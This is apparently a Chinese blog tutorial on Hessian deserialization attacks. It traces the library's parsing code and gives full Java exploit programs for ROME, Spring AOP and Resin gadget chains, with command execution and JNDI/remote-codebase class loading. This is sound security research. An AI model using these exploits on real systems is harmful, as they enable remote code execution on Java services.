续接之前那篇Java反序列化-2的文章。
Hessian是一种用于远程调用的二进制协议。它被广泛用于构建分布式系统中的跨平台通信,特别适用于Java语言,基于RPC协议,用于远程服务的调用。
Hessian可以将Java对象序列化为二进制数据,并通过网络传输到远程系统,然后将二进制数据反序列化为远程系统可以理解的对象。通过使用二进制格式,Hessian可以提供更高效的数据传输和更低的网络开销,相对于文本协议(如XML或JSON)而言。
Hessian支持各种Java基本类型和复杂对象的序列化和反序列化。它还提供了一种简单的方式定义服务接口和实现远程方法调用。因此,开发人员可以使用Hessian来构建基于Java的分布式系统,同时获得更高的性能和更好的跨平台兼容性。
Hessian是基于Field
机制来进行反序列化的,就是通过一些特殊的方法或者反射,直接对Field
进行赋值,这与Jackson
调用getter、setter
是不同的,这种机制相对于基于Bean
机制的攻击面要小,因为它们自动调用的方法要少。
以下是一些基于Field
机制进行反序列化的类:
下面是对Hessian
反序列化进行简单的流程分析:
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>
HessianInput#readObject
中,它会通过一个Tag
来决定后面的操作,而Hessian
序列化是处理成Map
的形式,所以code
的第一个总是77
,也就是对应着M
的操作,在readType()
中,它会遍历读取反序列化传入的字节数组,读取一定的长度转成字符后存入了_sbuf
中,再经过toString()
转换成字符串,返回该类的完整路径,比如说com.example.Hessian.User
。public Object readObject()
throws IOException
{
int tag = read();
switch (tag) {
case 'N':
return null;
case 'T':
return Boolean.valueOf(true);
case 'F':
return Boolean.valueOf(false);
case 'I':
return Integer.valueOf(parseInt());
case 'L':
return Long.valueOf(parseLong());
case 'D':
return Double.valueOf(parseDouble());
case 'd':
return new Date(parseLong());
case 'x':
case 'X': {
_isLastChunk = tag == 'X';
_chunkLength = (read() << 8) + read();
return parseXML();
}
case 's':
case 'S': {
_isLastChunk = tag == 'S';
_chunkLength = (read() << 8) + read();
int data;
_sbuf.setLength(0);
while ((data = parseChar()) >= 0)
_sbuf.append((char) data);
return _sbuf.toString();
}
case 'b':
case 'B': {
_isLastChunk = tag == 'B';
_chunkLength = (read() << 8) + read();
int data;
ByteArrayOutputStream bos = new ByteArrayOutputStream();
while ((data = parseByte()) >= 0)
bos.write(data);
return bos.toByteArray();
}
case 'V': {
String type = readType();
int length = readLength();
return _serializerFactory.readList(this, length, type);
}
case 'M': {
String type = readType();
return _serializerFactory.readMap(this, type);
}
case 'R': {
int ref = parseInt();
return _refs.get(ref);
}
case 'r': {
String type = readType();
String url = readString();
return resolveRemote(type, url);
}
default:
throw error("unknown code for readObject at " + codeName(tag));
}
}
SerializerFactory#readMap
中,会进入到getDeserializer
方法获取反序列化器,如果获取不到,就会进入到_hashMapDeserializer.readMap
中。 public Object readMap(AbstractHessianInput in, String type)
throws HessianProtocolException, IOException
{
Deserializer deserializer = getDeserializer(type);
if (deserializer != null)
return deserializer.readMap(in);
else if (_hashMapDeserializer != null)
return _hashMapDeserializer.readMap(in);
else {
_hashMapDeserializer = new MapDeserializer(HashMap.class);
return _hashMapDeserializer.readMap(in);
}
}
getDeserializer
中,它会判断是否前面获取不到type
,是则返回null
,然后会从缓存中获取对应type
的反序列化器,如果获取不到,会从_staticTypeMap
中获取,都获取不到,则判断 type
是不是数组,是就根据数组基本类型来获取其 Deserializer
,并创建 ArrayDeserializer
返回,否则尝试通过目标 type
的 clazz
形式来获取deserializer
放到缓存里面。一般的类如果使用了不安全的Serializer
,会获取到UnsafeDeserilize
。 public Deserializer getDeserializer(String type)
throws HessianProtocolException
{
if (type == null || type.equals(""))
return null;
Deserializer deserializer;
if (_cachedTypeDeserializerMap != null) {
synchronized (_cachedTypeDeserializerMap) {
deserializer = (Deserializer) _cachedTypeDeserializerMap.get(type);
}
if (deserializer != null)
return deserializer;
}
deserializer = (Deserializer) _staticTypeMap.get(type);
if (deserializer != null)
return deserializer;
if (type.startsWith("[")) {
Deserializer subDeserializer = getDeserializer(type.substring(1));
if (subDeserializer != null)
deserializer = new ArrayDeserializer(subDeserializer.getType());
else
deserializer = new ArrayDeserializer(Object.class);
}
else {
try {
//Class cl = Class.forName(type, false, getClassLoader());
Class cl = loadSerializedClass(type);
deserializer = getDeserializer(cl);
} catch (Exception e) {
log.warning("Hessian/Burlap: '" + type + "' is an unknown class in " + getClassLoader() + ":\n" + e);
log.log(Level.FINER, e.toString(), e);
}
}
if (deserializer != null) {
if (_cachedTypeDeserializerMap == null)
_cachedTypeDeserializerMap = new HashMap(8);
synchronized (_cachedTypeDeserializerMap) {
_cachedTypeDeserializerMap.put(type, deserializer);
}
}
return deserializer;
}
readMap
后,会通过sun.misc.Unsafe#allocateInstance
初始化一个空对象,然后再调用readMap
public Object readMap(AbstractHessianInput in)
throws IOException
{
try {
Object obj = instantiate();
return readMap(in, obj);
} catch (IOException e) {
throw e;
} catch (RuntimeException e) {
throw e;
} catch (Exception e) {
throw new IOExceptionWrapper(_type.getName() + ":" + e.getMessage(), e);
}
}
_fieldMap
中通过键获取对应的Deserializer
,要注意的是这里不包含transient
修饰的成员,再根据获取到的Deserializer
进入到不同类的deserialize
方法中,比如ObjectFieldDeserializer
会进入ObjectFieldDeserializer#deserialize
中,FieldDeserializer2
中一共有14个unsafe
的反序列化器。public Object readMap(AbstractHessianInput in, Object obj)
throws IOException
{
try {
int ref = in.addRef(obj);
while (! in.isEnd()) {
Object key = in.readObject();
FieldDeserializer2 deser = (FieldDeserializer2) _fieldMap.get(key);
if (deser != null)
deser.deserialize(in, obj);
else
in.readObject();
}
in.readMapEnd();
Object resolve = resolve(in, obj);
if (obj != resolve)
in.setRef(ref, resolve);
return resolve;
} catch (IOException e) {
throw e;
} catch (Exception e) {
throw new IOExceptionWrapper(e);
}
}
deserialize
后,又会触发HessianInput#readObject
进行反序列化。 public void deserialize(AbstractHessianInput in, Object obj)
throws IOException
{
Object value = null;
try {
value = in.readObject(_field.getType());
_unsafe.putObject(obj, _offset, value);
} catch (Exception e) {
logDeserializeError(_field, obj, value, e);
}
}
}
Map
的形式,因此还是进入M
中,获取到type
会空后,会进入到MapDeserializer#readMap
中。 public Object readObject(Class cl)
throws IOException
{
if (cl == null || cl == Object.class)
return readObject();
int tag = read();
switch (tag) {
case 'N':
return null;
case 'M':
{
String type = readType();
if ("".equals(type)) {
Deserializer reader;
reader = _serializerFactory.getDeserializer(cl);
return reader.readMap(this);
}
else {
Deserializer reader;
reader = _serializerFactory.getObjectDeserializer(type);
return reader.readMap(this);
}
}
case 'V':
{
String type = readType();
int length = readLength();
Deserializer reader;
reader = _serializerFactory.getObjectDeserializer(type);
if (cl != reader.getType() && cl.isAssignableFrom(reader.getType()))
return reader.readList(this, length);
reader = _serializerFactory.getDeserializer(cl);
Object v = reader.readList(this, length);
return v;
}
case 'R':
{
int ref = parseInt();
return _refs.get(ref);
}
case 'r':
{
String type = readType();
String url = readString();
return resolveRemote(type, url);
}
}
_peek = tag;
Object value = _serializerFactory.getDeserializer(cl).readObject(this);
return value;
}
MapDeserializer#readMap
里面,会对map
的类型进行判断,如果是Map
则使用HashMap
,SortedMap
则使用TreeMap()
,接着进入了一个 while
循环,它会读取 key-value
的键值对并调用 put
方法,这里的put
方法老生常谈了,会触发任意类的hashcode()
方法,至此,只要是入口为hashCode
都能够使用。 public Object readMap(AbstractHessianInput in)
throws IOException
{
Map map;
if (_type == null)
map = new HashMap();
else if (_type.equals(Map.class))
map = new HashMap(); //hashCode()、equals()
else if (_type.equals(SortedMap.class))
map = new TreeMap(); //触发compareTo()方法
else {
try {
map = (Map) _ctor.newInstance();
} catch (Exception e) {
throw new IOExceptionWrapper(e);
}
}
in.addRef(map);
while (! in.isEnd()) {
map.put(in.readObject(), in.readObject());
}
in.readEnd();
return map;
}
要使用Hessian
条件如下:
在Hessian
中,有一个十分魔幻的地方,就是它支持反序列化任意类,并且无需实现Serializable
接口,使得没有实现Serializable
接口的类也可以序列化和反序列化,只需要将_isAllowNonSerializable=true
即可,可以设置SerializerFactory#setAllowNonSerializable
来赋值。
public class SerializerFactory extends AbstractSerializerFactory {
protected Serializer getDefaultSerializer(Class cl) {
if (this._defaultSerializer != null) {
return this._defaultSerializer;
} else if (!Serializable.class.isAssignableFrom(cl) && !this._isAllowNonSerializable) {
throw new IllegalStateException("Serialized class " + cl.getName() + " must implement java.io.Serializable");
} else {
return (Serializer)(this._isEnableUnsafeSerializer && JavaSerializer.getWriteReplace(cl) == null ? UnsafeSerializer.create(cl) : JavaSerializer.create(cl));
}
}
}
首先考虑一下动态字节码加载的打法,但是明显是不行的,因为TemplatesImpl
中的_tfactory
是一个transient
,无法参与序列化与反序列化,因此可以采取二次反序列化的打法,就是上文的ROME
中的SignedObject
链。
调用链如下:
hessianinput.readObject()->
hashmap.put()->
EqualsBean.hashcode()->
ToStringBean.toString()->
SignedObject.getObject()->
hashmap.readObject()->后面的利用链
exp如下:
package com.example.Hessian;
import cn.hutool.core.lang.hash.Hash;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.example.jackson.TemplateImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;
public class hessian_signobject {
public static void main(String[] args) throws Exception {
byte[] code =getTemplates();
byte[][] codes={code};
TemplatesImpl templates=new TemplatesImpl();
setValue(templates,"_tfactory",new TransformerFactoryImpl());
setValue(templates,"_name","Aiwin");
setValue(templates,"_class",null);
setValue(templates,"_bytecodes",codes);
ToStringBean toStringBean=new ToStringBean(Templates.class,templates);
EqualsBean equalsBean=new EqualsBean(String.class,"aiwin");
HashMap hashMap=new HashMap();
hashMap.put(equalsBean,"aaa");
setValue(equalsBean,"_beanClass",ToStringBean.class);
setValue(equalsBean,"_obj",toStringBean);
//SignedObject
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));
ToStringBean toStringBean_sign=new ToStringBean(SignedObject.class,signedObject);
EqualsBean equalsBean_sign=new EqualsBean(String.class,"aiwin");
HashMap hashMap_sign=new HashMap();
hashMap_sign.put(equalsBean_sign,"aaa");
setValue(equalsBean_sign,"_beanClass",ToStringBean.class);
setValue(equalsBean_sign,"_obj",toStringBean_sign);
String result=Hessian_serialize(hashMap_sign);
Hessian_unserialize(result);
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getTemplates() throws IOException, CannotCompileException, NotFoundException {
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("Test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
public static String Hessian_serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(object);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void Hessian_unserialize(String obj) throws IOException {
byte[] code=Base64.getDecoder().decode(obj);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);
HessianInput hessianInput=new HessianInput(byteArrayInputStream);
hessianInput.readObject();
}
}
同样JdbcRowSetImpl等常规链子也是可以的
利用链
Hessian#readObject()->
hashMap.putVal()->
hotSwappableTargetSource#equals()->
AbstractPointcutAdvisor#equals()->
AbstractBeanFactoryPointcutAdvisor#getAdvice()
SimpleJndiBeanFactory#getBean()->
lookup()
在自己写这条链的时候,也是在不断的报错,因为发现它里面利用的很多类都没有继承Serializable
接口,导致无法序列化和反序列化,并且似乎并没有找到绕过去的方式,包括SimpleJndiBeanFactory
,后来看了一下marshalsec
,后来才知道Hessian
可以不需要继承序列化和反序列化的。
package com.example.Hessian;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import org.springframework.aop.support.*;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import org.springframework.scheduling.annotation.AsyncAnnotationAdvisor;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class springaop {
public static void main(String[] args) throws Exception {
String jndiUrl = "ldap://127.0.0.1:9999/siJdcpuR";
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
simpleJndiBeanFactory.setShareableResources(jndiUrl);//这里一定要设置,为了过Singleton()
Class<?> AbstractBeanFactoryPointcutAdvisor = Class.forName("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor");
DefaultBeanFactoryPointcutAdvisor defaultBeanFactoryPointcutAdvisor = new DefaultBeanFactoryPointcutAdvisor();
Field adviceBeanName = AbstractBeanFactoryPointcutAdvisor.getDeclaredField("adviceBeanName");
adviceBeanName.setAccessible(true);
adviceBeanName.set(defaultBeanFactoryPointcutAdvisor, jndiUrl);
Field beanFactory = AbstractBeanFactoryPointcutAdvisor.getDeclaredField("beanFactory");
beanFactory.setAccessible(true);
beanFactory.set(defaultBeanFactoryPointcutAdvisor, simpleJndiBeanFactory);
AsyncAnnotationAdvisor asyncAnnotationAdvisor = new AsyncAnnotationAdvisor();
HotSwappableTargetSource hotSwappableTargetSource = new HotSwappableTargetSource(1);
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(2);
HashMap hashMap = new HashMap();
hashMap.put(hotSwappableTargetSource, "1");
hashMap.put(hotSwappableTargetSource1, "2");
setFieldValue(hotSwappableTargetSource,"target",defaultBeanFactoryPointcutAdvisor);
setFieldValue(hotSwappableTargetSource1,"target",asyncAnnotationAdvisor);
String result=Hessian_serialize(hashMap);
Hessian_unserialize(result);
}
public static String Hessian_serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);
SerializerFactory serializerFactory=new SerializerFactory(); //无需继承Serializable也可进行序列化和反序列化
serializerFactory.setAllowNonSerializable(true);
hessianOutput.setSerializerFactory(serializerFactory);
hessianOutput.writeObject(object);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void Hessian_unserialize(String obj) throws IOException, ClassNotFoundException {
byte[] code=Base64.getDecoder().decode(obj);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);
HessianInput hessianInput=new HessianInput(byteArrayInputStream);
hessianInput.readObject();
}
public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field dfield=object.getClass().getDeclaredField(field);
dfield.setAccessible(true);
dfield.set(object,value);
}
}
简单解析:
在SimpleJndiBeanFactory#getBean
中存在能够调用lookup
接口。
这里仅需要初始化beanFactory=SimpleJndiBeanFactory
,同时adviceBeanName
可控,通过setShareableResources
可过掉isSingleton
判断即可触发getBean
在AbstractPointcutAdvisor#equals
方法中,存在可以触发getAdvice()
的点,并且otherAdvice
可控,至于equals
可通过HashCode#puVal
触发,整条链就串起来了。
Hessian#readObject()->
hashMap.putVal()->
hotSwappableTargetSource#equals()->
Xstring#equals()->
PartiallyComparableAdvisorHolder#toString()->
AspectJPointcutAdvisor#getOrder()->
AbstractAspectJAdvice#getOrder()->
BeanFactoryAspectInstanceFactory#getOrder()->
SimpleJndiBeanFactory#getType()->
SimpleJndiBeanFactory#doGetType()->
SimpleJndiBeanFactory#doGetSingleton()->
SimpleJndiBeanFactory#lookup()->JndiTemplate#lookup()
exp:
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
String jndiUrl = "ldap://127.0.0.1:9999/siJdcpuR";
SimpleJndiBeanFactory simpleJndiBeanFactory=new SimpleJndiBeanFactory();
simpleJndiBeanFactory.setShareableResources(jndiUrl);
AspectInstanceFactory beanFactoryAspectInstanceFactory=createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
setFieldValue(beanFactoryAspectInstanceFactory,"beanFactory",simpleJndiBeanFactory);
setFieldValue(beanFactoryAspectInstanceFactory,"name",jndiUrl);
AbstractAspectJAdvice advice = createWithoutConstructor(AspectJAfterAdvice.class);
Class<?> abstractAspectJAdvice= Class.forName("org.springframework.aop.aspectj.AbstractAspectJAdvice");
Field aspectInstanceFactory=abstractAspectJAdvice.getDeclaredField("aspectInstanceFactory");
aspectInstanceFactory.setAccessible(true);
aspectInstanceFactory.set(advice,beanFactoryAspectInstanceFactory);
AspectJPointcutAdvisor aspectJPointcutAdvisor=createWithoutConstructor(AspectJPointcutAdvisor.class);
setFieldValue(aspectJPointcutAdvisor,"advice",advice);
Class<?> PartiallyComparableAdvisorHolder=Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object Partially=createWithoutConstructor(PartiallyComparableAdvisorHolder);
setFieldValue(Partially,"advisor",aspectJPointcutAdvisor);
HotSwappableTargetSource hotSwappableTargetSource = new HotSwappableTargetSource(new XString("1"));
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(new XString("a"));
HashMap hashMap = new HashMap();
hashMap.put(hotSwappableTargetSource, "1");
hashMap.put(hotSwappableTargetSource1, "2");
setFieldValue(hotSwappableTargetSource,"target",Partially);
String result=Hessian_serialize(hashMap);
Hessian_unserialize(result);
}
简单分析:
首先在SimpleJndiBeanFactory#doGetSingleton
中存在lookup
接口,在同一个类中SimpleJndiBeanFactory#getType()
可以调用到doGetSingleton
BeanFactoryAspectInstanceFactory#getOrder()
中,存在着可控beanFactory和name
能够调用getType
AbstractAspectJAdvice#getOrder()
能够调用BeanFactoryAspectInstanceFactory#getOrder()
,因为aspectInstanceFactory
是可控的,但是要注意这里是抽象类,要找子类都实例化传值。
AspectJPointcutAdvisor#getOrder()
可以触发AbstractAspectJAdvice#getOrder()
,只需要在构造函数初始化advice=AbstractAspectJAdvice
最后在AspectJAwareAdvisorAutoProxyCreator
中找到子类PartiallyComparableAdvisorHolder#toString
,可以调用AspectJPointcutAdvisor#getOrder()
,然后toString()
完全可以通过Xstring
类来触发。
引入依赖,这里引入的依赖版本好像要正确,否则会报错显示com.caucho.Naming
不存在,至于每个版本的对应,我也不清楚。:
<dependency>
<groupId>com.caucho</groupId>
<artifactId>resin</artifactId>
<version>4.0.64</version>
</dependency>
Xstring#equals()->
Qname#toString()->
ContinuationContext#composeName()->
ContinuationContext#getTargetContext()->
NamingManager#getContext()->
NamingManager#getObjectInstance()->
NamingManager#getObjectFactoryFromReference()->
loadClass()
exp:
package com.example.Hessian;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.*;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
public class Resin {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
String codebase="http://127.0.0.1:9999/";
String clazz="siJdcpuR";
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
cpe.setResolvedObj(new Reference("siJdcpuR", clazz,codebase));
Context ctx = (Context) ccCons.newInstance(cpe, new Hashtable<>());
QName qName = new QName(ctx,"aiwin","aiwin1"); //_items要过for循环
String unhash = unhash(qName.hashCode()); //将哈希值转换回原始数据的算法,放入到Xstring的值中,为了p.hash == hash
XString xString = new XString(unhash);
HashMap<Object, Object> hashMap = new HashMap<>();
setFieldValue(hashMap, "size", 2);
Class<?> nodeC;
nodeC = Class.forName("java.util.HashMap$Node");
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, qName, qName, null));
Array.set(tbl, 1, nodeCons.newInstance(0, xString, xString, null));
setFieldValue(hashMap, "table", tbl);
String result=Hessian_serialize(hashMap);
Hessian_unserialize(result);
}
private static void unhash0(StringBuilder partial, int target) {
int div = target / 31;
int rem = target % 31;
if (div <= 65535) {
if (div != 0)
partial.append((char)div);
partial.append((char)rem);
} else {
unhash0(partial, div);
partial.append((char)rem);
}
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if (target < 0) {
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if (target == Integer.MIN_VALUE)
return answer.toString();
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
public static String Hessian_serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);
SerializerFactory serializerFactory=new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessianOutput.setSerializerFactory(serializerFactory);
hessianOutput.writeObject(object);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void Hessian_unserialize(String obj) throws IOException, ClassNotFoundException {
byte[] code=Base64.getDecoder().decode(obj);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);
HessianInput hessianInput=new HessianInput(byteArrayInputStream);
hessianInput.readObject();
}
public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field dfield=object.getClass().getDeclaredField(field);
dfield.setAccessible(true);
dfield.set(object,value);
}
}
简单分析:
漏洞的触发点在NamingManager#getObjectFactoryFromReference
中,只需要控制Reference
为恶意的factoryLocation
即可通过loadClass
加载类并在后面通过newInstance
实例化,在NamingManager#getContext
中可以直接触发这个方法。
ContinuationContext#getTargetContext()
中能够触发NamingManager.getContext()
,前提是CannotProceedException#getResolvedObj()
要有值,这个值就是后面要用到的Reference()
,因为可以通过setResolvedObj()
进去,要注意的是ContinuationContext
是直接通过class
修饰的,只能在同一个包中被访问,不能直接实例化,要通过反射进行构造。getTargetContext()
在本类的composeName
可触发。
Qname#toString()
中可以触发composeName()
,因为_context
可以直接实例化控制,要过for
循环需要往_items
里面加数据即可。